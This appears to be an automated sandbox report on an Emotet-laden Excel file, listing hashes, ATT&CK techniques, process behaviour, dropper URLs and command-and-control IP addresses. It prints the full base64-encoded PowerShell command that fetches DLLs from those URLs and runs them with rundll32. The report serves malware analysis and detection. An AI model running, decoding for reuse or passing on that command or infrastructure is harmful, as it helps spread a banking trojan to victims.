emotet | 8efb3b49916dea0f22b7b92f5b74b108d16832cf568bc61a312c19fc7f9064a2

Analysis

max time kernel
122s
max time network
142s
platform
windows10_x64
resource
win10-en-20211208
submitted
25/01/2022, 15:57

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General

Target
tmpwz3__16l.xls
Size 144KB
Sample220125-tdxpjaachp
SHA256 8efb3b49916dea0f22b7b92f5b74b108d16832cf568bc61a312c19fc7f9064a2
MD5 26ce4ffb6f9c921167be71665b578d15
SHA1 61035cf432b26ed472d82d64f066c81521d8458c
SHA512 724fe44d38c51cd8729dccf9308d82359488d8cc0805caf943524a37adec5bc182c8cd1f3f8fe8fdef9898f3e4883472a4624e648b69b10f476516a28a4dfa3a
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://four.renovatiog.ltd/wp-includes/KGzoB0zsRKZjjEe/
exe.dropper
http://adultfriendfinder-adultfriends.com/mmfdoublepenetrationadultfriends/0pcEeJPfwMU/
exe.dropper
http://jwellery.fameitc.com/wp-includes/wQK7z9cEcwWCUG/
exe.dropper
http://arcgakuin-dev2.sukoburu-secure.com/l35uhr/R1evmjjhga/
exe.dropper
http://bimesarayenovin.ir/wp-admin/z464/
exe.dropper
http://hostfeeling.com/wp-admin/DidtoZk2EEc7BWXyhh/
exe.dropper
http://gardeningfilm.com/wp-content/Ef/
exe.dropper
http://moneymagnetentertainment.com/pz66t8y/Bd0sR0htA8mHibNJrk/
exe.dropper
https://100lamp.com.ua:443/sale/a/
exe.dropper
http://queenofluv.com/uemsub/peLSdHCvfhkge/

Extracted

Family

emotet

Botnet

Epoch4

51.77.82.125:443
69.197.160.180:8080
103.75.201.2:443
173.212.193.249:8080
45.118.135.203:7080
45.118.115.99:8080
162.243.175.63:443
192.254.71.210:443
50.116.54.215:443
51.38.71.0:443
138.185.72.26:8080
131.100.24.231:80
212.237.5.209:443
209.59.138.75:7080
176.104.106.96:8080
107.182.225.142:8080
45.142.114.231:8080
212.237.56.116:7080
207.38.84.195:8080
158.69.222.101:443
104.251.214.46:8080
104.168.155.129:8080
46.55.222.11:443
103.8.26.102:8080
58.227.42.236:80
164.68.99.3:8080
203.114.109.124:443
216.158.226.206:443
178.63.25.185:443
103.8.26.103:8080
195.154.133.20:443
45.176.232.124:443
41.76.108.46:8080
81.0.236.90:443
178.79.147.66:8080
212.24.98.99:8080
217.182.143.207:443
110.232.117.186:8080
162.214.50.39:7080
212.237.17.99:8080
185.157.82.211:8080
79.172.212.216:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2244	2780	cmd.exe	67

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 3 IoCs

flow	pid	Process
28	2140	powershell.exe
40	1192	rundll32.exe
42	1192	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
676	rundll32.exe
820	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Ozdycdv\hafk.bmy	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2780	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2140	powershell.exe
2140	powershell.exe
2140	powershell.exe
1192	rundll32.exe
1192	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2140	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
2780	EXCEL.EXE
2780	EXCEL.EXE
2780	EXCEL.EXE
2780	EXCEL.EXE
2780	EXCEL.EXE
2780	EXCEL.EXE
2780	EXCEL.EXE
2780	EXCEL.EXE
2780	EXCEL.EXE
2780	EXCEL.EXE
2780	EXCEL.EXE
2780	EXCEL.EXE

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2780 wrote to memory of 2244	2780	EXCEL.EXE	71
PID 2780 wrote to memory of 2244	2780	EXCEL.EXE	71
PID 2244 wrote to memory of 2140	2244	cmd.exe	73
PID 2244 wrote to memory of 2140	2244	cmd.exe	73
PID 2140 wrote to memory of 676	2140	powershell.exe	74
PID 2140 wrote to memory of 676	2140	powershell.exe	74
PID 2140 wrote to memory of 676	2140	powershell.exe	74
PID 676 wrote to memory of 820	676	rundll32.exe	75
PID 676 wrote to memory of 820	676	rundll32.exe	75
PID 676 wrote to memory of 820	676	rundll32.exe	75
PID 820 wrote to memory of 3708	820	rundll32.exe	76
PID 820 wrote to memory of 3708	820	rundll32.exe	76
PID 820 wrote to memory of 3708	820	rundll32.exe	76
PID 3708 wrote to memory of 1192	3708	rundll32.exe	77
PID 3708 wrote to memory of 1192	3708	rundll32.exe	77
PID 3708 wrote to memory of 1192	3708	rundll32.exe	77

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpwz3__16l.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2780
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\programdata\uylcsekn.bat" "
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2244
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -enc JAByAG8AdwBpAGYAaQB1AGQAPQAiAGgAdAB0AHAAOgAvAC8AZgBvAHUAcgAuAHIAZQBuAG8AdgBhAHQAaQBvAGcALgBsAHQAZAAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEsARwB6AG8AQgAwAHoAcwBSAEsAWgBqAGoARQBlAC8ALABoAHQAdABwADoALwAvAGEAZAB1AGwAdABmAHIAaQBlAG4AZABmAGkAbgBkAGUAcgAtAGEAZAB1AGwAdABmAHIAaQBlAG4AZABzAC4AYwBvAG0ALwBtAG0AZgBkAG8AdQBiAGwAZQBwAGUAbgBlAHQAcgBhAHQAaQBvAG4AYQBkAHUAbAB0AGYAcgBpAGUAbgBkAHMALwAwAHAAYwBFAGUASgBQAGYAdwBNAFUALwAsAGgAdAB0AHAAOgAvAC8AagB3AGUAbABsAGUAcgB5AC4AZgBhAG0AZQBpAHQAYwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AdwBRAEsANwB6ADkAYwBFAGMAdwBXAEMAVQBHAC8ALABoAHQAdABwADoALwAvAGEAcgBjAGcAYQBrAHUAaQBuAC0AZABlAHYAMgAuAHMAdQBrAG8AYgB1AHIAdQAtAHMAZQBjAHUAcgBlAC4AYwBvAG0ALwBsADMANQB1AGgAcgAvAFIAMQBlAHYAbQBqAGoAaABnAGEALwAsAGgAdAB0AHAAOgAvAC8AYgBpAG0AZQBzAGEAcgBhAHkAZQBuAG8AdgBpAG4ALgBpAHIALwB3AHAALQBhAGQAbQBpAG4ALwB6ADQANgA0AC8ALABoAHQAdABwADoALwAvAGgAbwBzAHQAZgBlAGUAbABpAG4AZwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ARABpAGQAdABvAFoAawAyAEUARQBjADcAQgBXAFgAeQBoAGgALwAsAGgAdAB0AHAAOgAvAC8AZwBhAHIAZABlAG4AaQBuAGcAZgBpAGwAbQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAEUAZgAvACwAaAB0AHQAcAA6AC8ALwBtAG8AbgBlAHkAbQBhAGcAbgBlAHQAZQBuAHQAZQByAHQAYQBpAG4AbQBlAG4AdAAuAGMAbwBtAC8AcAB6ADYANgB0ADgAeQAvAEIAZAAwAHMAUgAwAGgAdABBADgAbQBIAGkAYgBOAEoAcgBrAC8ALABoAHQAdABwAHMAOgAvAC8AMQAwADAAbABhAG0AcAAuAGMAbwBtAC4AdQBhADoANAA0ADMALwBzAGEAbABlAC8AYQAvACwAaAB0AHQAcAA6AC8ALwBxAHUAZQBlAG4AbwBmAGwAdQB2AC4AYwBvAG0ALwB1AGUAbQBzAHUAYgAvAHAAZQBMAFMAZABIAEMAdgBmAGgAawBnAGUALwAiAC4AUwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAKAAkAHMAdAAgAGkAbgAgACQAcgBvAHcAaQBmAGkAdQBkACkAewAkAHIAcgB5AGkAdQBkAD0ARwBlAHQALQBSAGEAbgBkAG8AbQA7ACQAZgBnAGgAaQB1AHMAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAPQAiAGMAOgBcAHAAcgBvAGcAcgBhAG0AZABhAHQAYQBcACIAKwAkAHIAcgB5AGkAdQBkACsAIgAuAGQAbABsACIAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABzAHQAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAOwBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgACQARwBzAHIARgBKAFkAagBkADUANAA2AGQAcwApAHsAaQBmACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAA1ADAAMAAwADAAKQB7ACQAZwBoAEQARABGAEoASABrADUAZgA9ACIAYwA6AFwAdwBpAG4AZABvAHcAcwBcAHMAeQBzAHcAbwB3ADYANABcAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACIAOwAkAHQAeQBpAGQAdQBpAHMAZABmAGYAPQAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKwAiACwAZgAiACsAJABmAGcAaABpAHUAcwA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGcAaABEAEQARgBKAEgAawA1AGYAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJAB0AHkAaQBkAHUAaQBzAGQAZgBmADsAYgByAGUAYQBrADsAfQB9AH0A
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2140
  - - C:\windows\syswow64\rundll32.exe
      "C:\windows\syswow64\rundll32.exe" c:\programdata\1122924929.dll,f210533242
      4⤵
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:676
    - - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "c:\programdata\1122924929.dll",DllRegisterServer
        5⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:820
      - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ozdycdv\hafk.bmy",jQMSd
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3708
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Ozdycdv\hafk.bmy",DllRegisterServer
        7⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:1192

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/676-348-0x0000000002E20000-0x0000000002E45000-memory.dmp

Download

memory/676-347-0x0000000002E21000-0x0000000002E42000-memory.dmp

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memory/820-359-0x00000000056F0000-0x0000000005715000-memory.dmp

Download

memory/820-361-0x0000000005750000-0x0000000005775000-memory.dmp

Download

memory/820-350-0x0000000004EC0000-0x0000000004EE5000-memory.dmp

Download

memory/820-363-0x0000000005900000-0x0000000005925000-memory.dmp

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memory/820-353-0x00000000053C0000-0x00000000053E5000-memory.dmp

Download

memory/820-357-0x0000000005690000-0x00000000056B5000-memory.dmp

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memory/820-355-0x00000000054A0000-0x00000000054C5000-memory.dmp

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memory/1192-366-0x0000000004A40000-0x0000000004A65000-memory.dmp

Download

memory/2140-327-0x0000022579126000-0x0000022579128000-memory.dmp

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memory/2140-320-0x0000022579040000-0x00000225790B6000-memory.dmp

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memory/2140-315-0x0000022579120000-0x0000022579122000-memory.dmp

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memory/2140-316-0x0000022579123000-0x0000022579125000-memory.dmp

Download

memory/2140-317-0x0000022560D30000-0x0000022560D52000-memory.dmp

Download

memory/2780-626-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

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memory/2780-118-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

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memory/2780-116-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

Download

memory/2780-117-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

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memory/2780-128-0x00007FFDCC4B0000-0x00007FFDCC4C0000-memory.dmp

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memory/2780-268-0x0000020EF8510000-0x0000020EF8514000-memory.dmp

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memory/2780-129-0x00007FFDCC4B0000-0x00007FFDCC4C0000-memory.dmp

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memory/2780-115-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

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memory/2780-121-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

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memory/2780-627-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

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memory/2780-628-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

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memory/2780-629-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

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memory/3708-364-0x0000000004960000-0x0000000004985000-memory.dmp

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